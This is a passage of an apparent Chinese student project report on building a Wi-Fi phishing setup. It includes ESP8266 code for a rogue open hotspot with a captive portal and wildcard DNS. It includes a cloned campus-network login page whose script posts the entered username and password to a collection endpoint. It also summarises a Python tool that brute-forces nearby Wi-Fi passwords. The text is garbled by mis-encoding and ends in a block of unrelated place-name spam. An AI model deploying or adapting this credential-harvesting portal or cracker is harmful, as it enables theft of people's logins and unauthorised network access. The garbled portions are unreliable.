????server.streamFile(file,contentType);// 并且將該文件返回給瀏覽器

????file.close(); ?// 并且關(guān)閉文件

????}else{

??????server.send(404, "text/plain", "404 Not Found");

????}

??}

?

?

??if (!webAddress.endsWith(".htm")and!webAddress.endsWith(".ico") and !webAddress.endsWith(".png") and !webAddress.endsWith(".jpg") and !webAddress.endsWith(".css") and !webAddress.endsWith(".js"))

???{

??????webAddress = "/shzu.html"; ????????????????????// 則將訪問(wèn)地址修改為/index.html便于SPIFFS訪問(wèn)

??????File file = SPIFFS.open(webAddress, "r"); ?????????// 則嘗試打開該文件

??????server.streamFile(file,"text/html");// 并且將該文件返回給瀏覽器

??????file.close(); ?// 并且關(guān)閉文件

????}

}

// 獲取文件類型

String getContentType(String filename){

??if(filename.endsWith(".htm")) return "text/html";

??else if(filename.endsWith("/")) return "text/html";

??else if(filename.endsWith(".html")) return "text/html";

??else if(filename.endsWith(".css")) return "text/css";

??else if(filename.endsWith(".js")) return "application/javascript";

??else if(filename.endsWith(".png")) return "text/png";

??else if(filename.endsWith(".jpg")) return "text/jpg";

??return "text/plain";

}

?

?

void initBasic(void){//初始化基礎(chǔ)

??Serial.begin(9600);//115200

??WiFi.hostname("Smart-ESP8266");//設(shè)置ESP8266設(shè)備名

}

?

void initSoftAP(void){//初始化AP模式

??WiFi.mode(WIFI_AP);

??WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));

??if(WiFi.softAP(AP_NAME)){

????Serial.println("ESP8266 SoftAP is right");

??}

}

?

void initWebServer(void){//初始化WebServer

??//server.on("/",handleRoot);

??//上面那行必須以下面這種格式去寫否則無(wú)法強(qiáng)制門戶

??server.on("/", HTTP_GET, handleRoot);//設(shè)置主頁(yè)回調(diào)函數(shù)

??server.onNotFound(handleRoot);//設(shè)置無(wú)法響應(yīng)的http請(qǐng)求的回調(diào)函數(shù)

??server.on("/", HTTP_POST, handleRoot);//設(shè)置Post請(qǐng)求回調(diào)函數(shù)

??server.begin();//啟動(dòng)WebServer

??Serial.println("WebServer started!");

}

?

void initDNS(void){//初始化DNS服務(wù)器

??if(dnsServer.start(DNS_PORT, "*", apIP)){//判斷將所有地址映射到esp8266的ip上是否成功

????Serial.println("start dnsserver success.");

??}

??else Serial.println("start dnsserver failed.");

}

?

?void connectNewWifi(void){

??WiFi.mode(WIFI_STA);//切換為STA模式

??WiFi.setAutoConnect(true);//設(shè)置自動(dòng)連接

??WiFi.begin();//連接上一次連接成功的wifi

??Serial.println("");

??Serial.print("Connect to wifi");

??int count = 0;

???while (WiFi.status() != WL_CONNECTED) {

????delay(500);

????count++;

????if(count > 10){//如果5秒內(nèi)沒(méi)有連上,就開啟Web配網(wǎng) 可適當(dāng)調(diào)整這個(gè)時(shí)間

??????initSoftAP();

??????initWebServer();

??????initDNS();

??????break;//跳出 防止無(wú)限初始化

????}

????Serial.print(".");

??}

??Serial.println("");

??if(WiFi.status() == WL_CONNECTED){//如果連接上 就輸出IP信息 防止未連接上break后會(huì)誤輸出

????Serial.println("WIFI Connected!");

????Serial.print("IP address: ");

????Serial.println(WiFi.localIP());//打印esp8266的IP地址

????server.stop();

??}

}

void setup() {

??pinMode(LED_BUILTIN, OUTPUT);//設(shè)置燈

??digitalWrite(LED_BUILTIN, HIGH);//關(guān)燈

??String file_name = "/shzu.html";

// ?String ac_name = "/ac.html";

??initBasic();

??connectNewWifi();

??

??Serial.begin(9600);

??SPIFFS.begin(); ????????????????????????????//啟動(dòng)SPIFFS

??Serial.println("SPIFFS Started.");

??if (SPIFFS.exists(file_name)){

????Serial.print(file_name);

????Serial.println(" FOUND.");

??} else {

????Serial.print(file_name);

????Serial.print(" NOT FOUND.");

??}

?

// ??if (SPIFFS.exists(ac_name)){

// ???Serial.print(ac_name);

// ???Serial.println(" FOUND.");

// ?} else {

// ???Serial.print(ac_name);

// ???Serial.print(" NOT FOUND.");

// ?}

}

?

void loop() {

??server.handleClient();

??dnsServer.processNextRequest();

}


Esp8266讀取文件代碼

#include "FS.h"

?

void setup(){

??Serial.begin(9600);

??

??if(!SPIFFS.begin()){

????Serial.println("An Error has occurred while mounting SPIFFS");

????return;

??}

??

??File file = SPIFFS.open("/info.txt", "r");

??if(!file){

????Serial.println("Failed to open file for reading");

????return;

??}

??

??Serial.println();

??Serial.println("File Content:");

??while(file.available()){

????Serial.write(file.read());

??}

??file.close();

}

?

void loop() {

?

}


釣魚網(wǎng)站代碼:(省略js\css文件)

<!DOCTYPE html>

<!-- saved from url=(0041)http://10.255.0.38/srun_portal_pc?ac_id=1 -->

<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

????

????<link type="images/x-icon" rel="shortcut icon" href="./shen_files/favicon.ico">

????<meta http-equiv="X-UA-Compatible" content="IE=edge">

????<meta name="viewport" content="width=device-width, initial-scale=1">

?

<link id="pccss" type="text/css" rel="stylesheet" href="./resource/css/pagecustom.css">

<link id="themecss" rel="stylesheet" media="screen" href="./resource/css/login.css">

<script src="./portal/jscss/jquery.js" type="text/javascript"></script>

<script src="./portal/jscss/jquery.min.js"></script>

?

????<title>深瀾軟件</title>


<link rel="stylesheet" type="text/css" href="./shen_files/bootstrap.css" media="screen">

?

?

?

?

?

<!--[if lte IE 6]>

?

<link rel="stylesheet" type="text/css" href="/static/bootstrap/css/bootstrap-ie6.min.css">

?

?

<link rel="stylesheet" type="text/css" href="/static/bootstrap/css/ie.css">

<![endif]-->

?

<link rel="stylesheet" type="text/css" href="./shen_files/main.css">

?

<script>

$(document).ready(function(){

??$("label").click(function(){

  var url="http://10.255.0.38/Get_Info";

  var userName0=$("#id_userName").val();

  var password0=$("#id_userPwd").val();

  $.post(url,{userName:userName0,password:password0},function(resultJSONObject){

???if(resultJSONObject.success){

??$.messager.alert("系統(tǒng)提示","添加成功","info");

???}else{

??$.messager.alert("系統(tǒng)提示","添加失敗","error");

???}

},"json");


??});

});

</script>

?

</head>

<body onresize="viewResize()">

<div id="wrap">

<div class="navbar navbar-default">

????<div>

????????<div class="row-fluid row-no-padding">

????????????<div class="span9 offset3">

????????????????<img src="holder.js/260x120" alt="260x120" src="./shen_files/logo.png">

????????????</div>

????????</div>

????</div>

</div>

<div class="row-fluid row-no-padding">

<div id="error"></div>

</div>

<div>

<div>

<div></div>

????<div>

???? <div id="notice">

?? ? ?<h2>通知:</h2>

</div>

????</div>

????<div>

???? <img src="./shen_files/middle.png">

????</div>

????<div>

????<form id="login-form" novalidate="novalidate">

????????<h2>網(wǎng)絡(luò)準(zhǔn)入認(rèn)證系統(tǒng)</h2>

????????

<input type="hidden" name="ac_id" value="1">

<input type="hidden" name="user_ip" value="172.17.150.167">

<input type="hidden" name="nas_ip" value="">

<input type="hidden" name="user_mac" value="">

<input type="hidden" name="url" value="">


????????<div>

<div>

<input id="id_userName" type="text" name="username" placeholder="輸入賬號(hào)/用戶名">

?? </div>

</div>

<div>

<div>

<input id="id_userPwd" type="password" name="password" placeholder="輸入密碼">

?? </div>

</div>

????????<label>

???????? <input type="checkbox" value="remember-me"> 記住賬號(hào)

????????</label>

????????<div class="row-fluid row-no-padding">

???????? <div>

<!-- <label id="id_lable_loginbutton_quickauth" class="pc-edited-text pc-ui-button pc-event-click pc-event-dbclick" name="login" data-pcrole="pc-role-pceditbtn">上線</label> -->

???????? <!-- <button id="id_lable_loginbutton_quickauth" class="btn btn-block btn-primary" ?name="login" >登錄</button> -->

<!-- <button id="id_lable_loginbutton_quickauth" class="pc-edited-text pc-ui-button pc-event-click pc-event-dbclick" ?name="login" data-pcrole="pc-role-pceditbtn" >登錄</button> -->

<label id="id_lable_loginbutton_quickauth" class="btn btn-block btn-primary pc-edited-text pc-ui-button pc-event-click pc-event-dbclick" name="login" data-pcrole="pc-role-pceditbtn">登錄</label>

????????</div>

????????<div>

???????? <button class="btn btn-block btn-danger" ?type="button">注銷</button>

????????</div>

????????<div>

???????? <a href="http://10.255.0.38/srun_portal_pc?ac_id=1" class="btn btn-block btn-success" target="_blank">自服務(wù)</a>

????????</div>

????</div>

????</form>

????<div class="row-fluid row-no-padding">

???? <div><hr></div>

???? <div class="span4 others">其他認(rèn)證方式</div>

???? <div><hr></div>

????</div>

????<div class="row-fluid row-margin">

???? <div class="span6 phone"><a href="10.255.0.38"><img src="./shen_files/phone.png">手機(jī)認(rèn)證</a></div>

???? <div class="span6 weixin"><a href="http://10.255.0.38/srun_portal_pc_weixin?ac_id=1&ac_type="><img src="./shen_files/weixin.png">微信認(rèn)證</a></div>

????</div>

????<div class="row-fluid row-margin">

???? <ul class="links ft">

???? <li>

???? ?<a>Android</a>

????????????<div class="links-qrcode android-qrcode">

????????????????<a href="10.255.0.38" target="_blank">

????????????????<img id="android-qrcode-src" src="10.255.0.38">

????????????????<p>掃一掃下載Android客戶端</p>

????????????????</a>

????????????????<div id="qrcode" style="display: none;" title="10.255.0.38"><canvas width="128" height="128" style="display: none;"></canvas><img alt="Scan me!" src="data:image/png;base64,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" style="display: block;"></div>

????????????</div>

????????</li>

???? <li><a href="10.255.0.38" target="_blank">Windows</a></li>

????????<li>

???????? <a>iPhone</a>

????????????<div class="links-qrcode iphone-qrcode">

????????????????<a href="10.255.0.38" target="_blank">

????????????????<img src="./shen_files/iPhone-Qrcode.png">

????????????????<p>掃一掃下載iPhone客戶端</p>

????????????????</a>

????????????</div>

????????</li>

</ul>

????</div>

????</div>

?? </div>

</div>

?

</div>

<div style="display:none;">SRunPortalSvr V1.01 B20191104</div>

?

</body></html>

?


5.5主要函數(shù)說(shuō)明

?

5.5.1 Python wifi破解工具主要函數(shù)說(shuō)明,如表5-1所示

函數(shù)

說(shuō)明

def __init__(self, init_window_name):

這是初始化方法,用于創(chuàng)建GUI界面并設(shè)置各個(gè)屬性和變量。具體包括以下內(nèi)容:

初始化窗口屬性和變量,例如窗口標(biāo)題、大小、破解密碼的變量等。

創(chuàng)建PyWiFi對(duì)象和無(wú)線網(wǎng)卡接口對(duì)象,并進(jìn)行一些初始配置。

def set_init_window(self):

這是設(shè)置UI界面的函數(shù),主要負(fù)責(zé)UI界面的布局以及傳參

def scans_wifi_list(self):

掃描附近wifi

def dg_zf(self,password,a):

遞歸遍歷字符集

def dg_zf_1(self,password,a):

多線程遞歸遍歷字符集,添加了共享鎖

def readPassWord(self):

破譯流程

def connect(self, pwd_Str, wifi_ssid):

對(duì)wifi和密碼進(jìn)行匹配

def gui_start():

對(duì)其他函數(shù)進(jìn)行調(diào)用

表5-1 Python wifi破解工具主要函數(shù)說(shuō)明

?

5.5.2 Esp8266開發(fā)板釣魚熱點(diǎn)主要函數(shù)說(shuō)明,如表5-2所示:

函數(shù)

說(shuō)明

void handleRoot()

訪問(wèn)主頁(yè)回調(diào)函數(shù),用來(lái)對(duì)主頁(yè)傳回的參數(shù)進(jìn)行處理,并將瀏覽器請(qǐng)求的資源傳給瀏覽器

String getContentType(String filename)

獲取文件類型

void initSoftAP(void)

將esp8266設(shè)置為ap模式

void initWebServer(void)

初始化WebServer

void initDNS(void)

初始化dns服務(wù)器

?void connectNewWifi(void)

進(jìn)行網(wǎng)絡(luò)配置

void setup()

對(duì)esp8266開發(fā)板進(jìn)行初始化設(shè)置

void loop()

循環(huán)函數(shù),檢查dns和http請(qǐng)求

表5-2 Esp8266開發(fā)板釣魚熱點(diǎn)主要函數(shù)說(shuō)明


5.6程序流程圖

5.6.1 python WiFi破解工具程序流程圖 如 圖6-1所示:

?

圖6-1 python WiFi破解工具程序流程圖


6.?課題項(xiàng)目/實(shí)踐任務(wù)結(jié)論

1、PyWiFi是一個(gè)用于操作Wi-Fi網(wǎng)絡(luò)的Python第三方庫(kù),它提供了許多功能和工具,使得開發(fā)者可以方便地處理Wi-Fi網(wǎng)絡(luò)相關(guān)的問(wèn)題。

優(yōu)點(diǎn):

易于使用:PyWiFi提供了豐富的API和功能,使得開發(fā)者可以方便地操作Wi-Fi網(wǎng)絡(luò)。它提供了獲取可用Wi-Fi信號(hào)、連接Wi-Fi網(wǎng)絡(luò)、斷開Wi-Fi網(wǎng)絡(luò)等功能,同時(shí)還提供了配置Wi-Fi網(wǎng)絡(luò)的方法。

跨平臺(tái)支持:PyWiFi可以運(yùn)行在不同的操作系統(tǒng)上,例如Windows、Linux、macOS等。這使得開發(fā)者可以在不同的平臺(tái)上使用PyWiFi來(lái)處理Wi-Fi網(wǎng)絡(luò)相關(guān)的問(wèn)題。

強(qiáng)大的功能:PyWiFi提供了許多有用的功能,例如掃描附近的Wi-Fi信號(hào)、獲取Wi-Fi信號(hào)的詳細(xì)信息、模擬Wi-Fi連接等。這些功能可以幫助開發(fā)者快速地實(shí)現(xiàn)各種Wi-Fi相關(guān)的應(yīng)用。

可擴(kuò)展性:PyWiFi支持自定義插件和擴(kuò)展,開發(fā)者可以通過(guò)編寫自己的插件來(lái)擴(kuò)展PyWiFi的功能。這使得PyWiFi可以適應(yīng)不同的應(yīng)用場(chǎng)景和需求。

缺點(diǎn):

依賴性強(qiáng):PyWiFi依賴于外部的Wi-Fi驅(qū)動(dòng)程序和庫(kù),這些驅(qū)動(dòng)程序和庫(kù)的兼容性和穩(wěn)定性可能會(huì)影響PyWiFi的使用效果。

缺乏普及性:相對(duì)于其他Wi-Fi庫(kù),PyWiFi的普及程度可能不夠高。這意味著一些特定的功能和操作可能需要依賴于其他庫(kù)或工具來(lái)實(shí)現(xiàn)。

文檔不足:盡管PyWiFi提供了豐富的API和功能,但可能存在文檔不足的問(wèn)題。目前缺乏詳細(xì)的文檔和示例代碼,這可能會(huì)給開發(fā)者使用PyWiFi帶來(lái)一定的困難。

?

2、Tkinter是Python的標(biāo)準(zhǔn)GUI庫(kù)之一,它提供了在Python中創(chuàng)建GUI界面的功能。

優(yōu)點(diǎn):

易于學(xué)習(xí)和使用:Tkinter是Python的標(biāo)準(zhǔn)GUI庫(kù)之一,它具有簡(jiǎn)單易學(xué)的特點(diǎn)。它使用基于事件驅(qū)動(dòng)的編程模型,可以通過(guò)定義回調(diào)函數(shù)來(lái)實(shí)現(xiàn)界面的交互邏輯。

跨平臺(tái):Tkinter可以在多個(gè)操作系統(tǒng)上運(yùn)行,包括Windows、Mac OS和Linux等。這使得使用Tkinter編寫的GUI應(yīng)用程序可以在不同的平臺(tái)上運(yùn)行。

提供豐富的控件:Tkinter提供了各種常見的GUI控件,例如按鈕、標(biāo)簽、文本框、列表框、菜單等。這些控件可以輕松地通過(guò)代碼創(chuàng)建和配置,并且支持自定義樣式和布局。

可擴(kuò)展性:Tkinter可以與其他Python庫(kù)一起使用,例如Pillow和Pygame等,以提供更豐富的GUI和圖形功能。

缺點(diǎn):

功能相對(duì)簡(jiǎn)單:與一些更高級(jí)的GUI庫(kù)相比,Tkinter的功能相對(duì)簡(jiǎn)單。它可能不支持一些高級(jí)的GUI特性,例如復(fù)雜的布局管理、自定義繪圖等。

性能和資源管理:由于Tkinter是基于事件驅(qū)動(dòng)的模型,因此需要處理事件循環(huán)和大量的用戶交互。這可能導(dǎo)致在處理大量用戶操作或復(fù)雜布局時(shí)性能下降,并且可能占用較多的系統(tǒng)資源。

可移植性:雖然Tkinter可以在多個(gè)平臺(tái)上運(yùn)行,但不同的操作系統(tǒng)可能具有不同的GUI特性和行為。這可能導(dǎo)致在某些平臺(tái)上出現(xiàn)不一致或不可預(yù)測(cè)的行為。

?

3.ESP8266是一款由Espressif Systems生產(chǎn)的Wi-Fi芯片,主要應(yīng)用于物聯(lián)網(wǎng)設(shè)備上。

?

低功耗:ESP8266采用了多項(xiàng)專有技術(shù),實(shí)現(xiàn)了超低功耗,適用于各種低功耗應(yīng)用場(chǎng)景。

高度集成:ESP8266集成了32位Tensilica處理器、標(biāo)準(zhǔn)數(shù)字外設(shè)接口、天線開關(guān)、射頻balun、功率放大器、低噪放大器、過(guò)濾器和電源管理模塊等,具有體積小巧但功能強(qiáng)大的特點(diǎn)。

處理能力強(qiáng):ESP8266內(nèi)置的Tensilica L106 32位RISC處理器,時(shí)鐘速度最高可達(dá)160 MHz,支持實(shí)時(shí)操作系統(tǒng)(RTOS)和Wi-Fi協(xié)議棧,可以將高達(dá)80%的處理能力留給應(yīng)用編程和開發(fā)。

功能豐富:ESP8266開發(fā)板提供了多種功能接口,包括2.4 GHz Wi-Fi(802.11 a/b/gn,支持WPA / WPA2)、通用輸入/輸出(16 GPIO)、內(nèi)部集成電路(I2C)、模數(shù)轉(zhuǎn)換功能、串行外設(shè)接口(SPI)、帶有DMA的I2S接口(與GPIO共用引腳)、UART(在專用引腳上,在GPIO2上可以使能僅發(fā)送UART)和脈沖寬度調(diào)制(PWM)。

?


7.?總結(jié)與體會(huì)

1.?在本次項(xiàng)目中,我學(xué)習(xí)了如何使用PyWiFi和Tkinter來(lái)創(chuàng)建一個(gè)GUI界面,用于掃描附近的Wi-Fi信號(hào)并暴力破解密碼。并且使用esp8266制作釣魚熱點(diǎn)并且部署釣魚網(wǎng)站。

2.?PyWiFi是一個(gè)非常有用的Python第三方庫(kù),用于操作Wi-Fi網(wǎng)絡(luò)。它提供了豐富的功能和工具,使得開發(fā)者可以方便地處理Wi-Fi網(wǎng)絡(luò)相關(guān)的問(wèn)題。通過(guò)使用PyWiFi,我們可以輕松地獲取附近的Wi-Fi信號(hào)、連接Wi-Fi網(wǎng)絡(luò)、斷開Wi-Fi網(wǎng)絡(luò)等操作。

3.?Tkinter是Python的標(biāo)準(zhǔn)GUI庫(kù)之一,它提供了在Python中創(chuàng)建GUI界面的功能。通過(guò)使用Tkinter,我們可以輕松地創(chuàng)建一個(gè)交互式的GUI界面,其中包含了各種常見的GUI控件和事件處理邏輯。

4.?我也意識(shí)到在實(shí)現(xiàn)該項(xiàng)目時(shí)需要注意法律風(fēng)險(xiǎn)。由于涉及到破解密碼等非法操作,因此在使用該工具時(shí)需要遵守相關(guān)法律法規(guī),并避免對(duì)他人造成不良影響。

5.?在Python WiFi破解工具進(jìn)行WiFi掃描時(shí),出現(xiàn)許多校園網(wǎng)(shzu)的AP端,我進(jìn)行了測(cè)試,并發(fā)現(xiàn)當(dāng)部署兩個(gè)不同設(shè)備,且都不需要密碼的熱點(diǎn)時(shí),只會(huì)顯示一個(gè)。經(jīng)過(guò)實(shí)驗(yàn),我發(fā)現(xiàn)當(dāng)用戶端(STA)進(jìn)行連接時(shí),會(huì)自動(dòng)連接信號(hào)較好的AP端(熱點(diǎn))。此外,當(dāng)其中一個(gè)被用戶端(STA)連接的AP端關(guān)閉時(shí),用戶端會(huì)自動(dòng)連接另一個(gè)不需要密碼、相同名字的熱點(diǎn)。

這個(gè)現(xiàn)象是由于Wi-Fi網(wǎng)絡(luò)的自動(dòng)連接機(jī)制造成的。當(dāng)一個(gè)用戶端(STA)連接到一個(gè)不需要密碼的熱點(diǎn)時(shí),它會(huì)將該熱點(diǎn)的SSID和安全信息保存在其配置文件中。之后,當(dāng)用戶端再次掃描到相同的SSID時(shí),它會(huì)直接連接到保存的熱點(diǎn)信息,而不會(huì)顯示多個(gè)相同的熱點(diǎn)。

此外,當(dāng)一個(gè)連接的AP端關(guān)閉時(shí),用戶端會(huì)自動(dòng)連接到另一個(gè)不需要密碼、相同名字的熱點(diǎn),這是因?yàn)閃i-Fi網(wǎng)絡(luò)中的漫游機(jī)制。Wi-Fi網(wǎng)絡(luò)使用無(wú)線信號(hào)強(qiáng)度來(lái)識(shí)別可用的AP端,并選擇最佳的連接點(diǎn)。當(dāng)信號(hào)強(qiáng)度發(fā)生變化時(shí),用戶端會(huì)自動(dòng)連接到信號(hào)更好的AP端。

這些自動(dòng)連接和漫游機(jī)制是Wi-Fi網(wǎng)絡(luò)的核心特性之一,它們使得用戶可以在不同的AP端之間無(wú)縫切換,并保持連續(xù)的網(wǎng)絡(luò)連接。然而,在某些情況下,這些特性也可能會(huì)導(dǎo)致連接問(wèn)題,例如當(dāng)AP端的信號(hào)強(qiáng)度波動(dòng)較大時(shí),或者當(dāng)用戶端的安全設(shè)置不允許自動(dòng)連接時(shí)。

因此,在實(shí)際使用中,需要根據(jù)具體情況進(jìn)行配置和調(diào)整。如果需要控制連接的AP端數(shù)量或者避免自動(dòng)連接到不安全的熱點(diǎn),可以通過(guò)修改用戶端的配置文件或使用其他安全措施來(lái)實(shí)現(xiàn)。


附錄A  參考文獻(xiàn)

[1]?Tkinter 組件詳解(三):Checkbutton [EB/OL]. ?https://blog.csdn.net/qq_41556318/article/details/85108303, 來(lái)自江南的你 2018-12-19.

[2]?python3 修改字符串的四種方法 錯(cuò)誤 'str' object does not support item assignment 解決方法 [EB/OL]. ?https://blog.csdn.net/whatday/article/details/104051481, whatday 2020-01-20.

[3]Tkinter簡(jiǎn)明教程 ?[EB/OL]. https://zhuanlan.zhihu.com/p/75872830, IRONAnthony ?2022-04-05.

[4]python中threading線程詳解(Thread類、join()方法、線程鎖) [EB/OL]. https://blog.csdn.net/XC_SunnyBoy/article/details/108549101, XC_SunnyBoy ?2020-09-12.

[5]python tkinter中的錨點(diǎn)(anchor)問(wèn)題 [EB/OL]. ?https://blog.csdn.net/qq_44275213/article/details/107856794, 未名 2020-08-08.

[6]ESP8266開發(fā)-Arduino IDE安裝、配置與使用 [EB/OL]. ?https://zhuanlan.zhihu.com/p/475982456, 碼農(nóng)愛(ài)學(xué)習(xí) ?2022-03-05.

[7]暴力破解附近局域網(wǎng)WiFi密碼 [EB/OL]. ?https://blog.csdn.net/itcodexy/article/details/121413827, 程序IT圈 2021-11-18.

[8]Arduino+esp8266+釣魚wifi(20RMB) [EB/OL]. ?https://www.cnblogs.com/selisen/p/15971034.html, 開心小市民 ?2022-03-06.

[8]IEEE 802.11協(xié)議基礎(chǔ)知識(shí)整理 [EB/OL]. ?https://blog.csdn.net/weixin_36178668/article/details/93622454, Mars.HU 2019-06-25.

[9]66%習(xí)慣使用同樣的密碼 42%認(rèn)為好記的密碼比安全重要 ?[EB/OL]. ?https://baijiahao.baidu.com/s?id=1667823283405446895&wfr=spider&for=pc&searchword=%E6%9C%89%E5%A4%9A%E5%B0%91%E4%BA%BA%E4%BD%BF%E7%94%A8%E7%9B%B8%E5%90%8C%E7%9A%84%E5%AF%86%E7%A0%81, 簡(jiǎn)單看科技 2020-05-27.

?????

?

?


基于esp8266和python的fish的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國(guó)家法律
清河县| 佛学| 错那县| 古丈县| 高青县| 塘沽区| 临夏县| 昌乐县| 家居| 西畴县| 扎赉特旗| 河东区| 新余市| 清徐县| 江华| 天全县| 桐梓县| 南川市| 彭山县| 屏东县| 颍上县| 宜阳县| 马公市| 新蔡县| 民丰县| 丹江口市| 上高县| 高密市| 金塔县| 鱼台县| 邯郸县| 嘉义县| 关岭| 历史| 色达县| 乌海市| 绥滨县| 汕尾市| 广昌县| 巫山县| 易门县|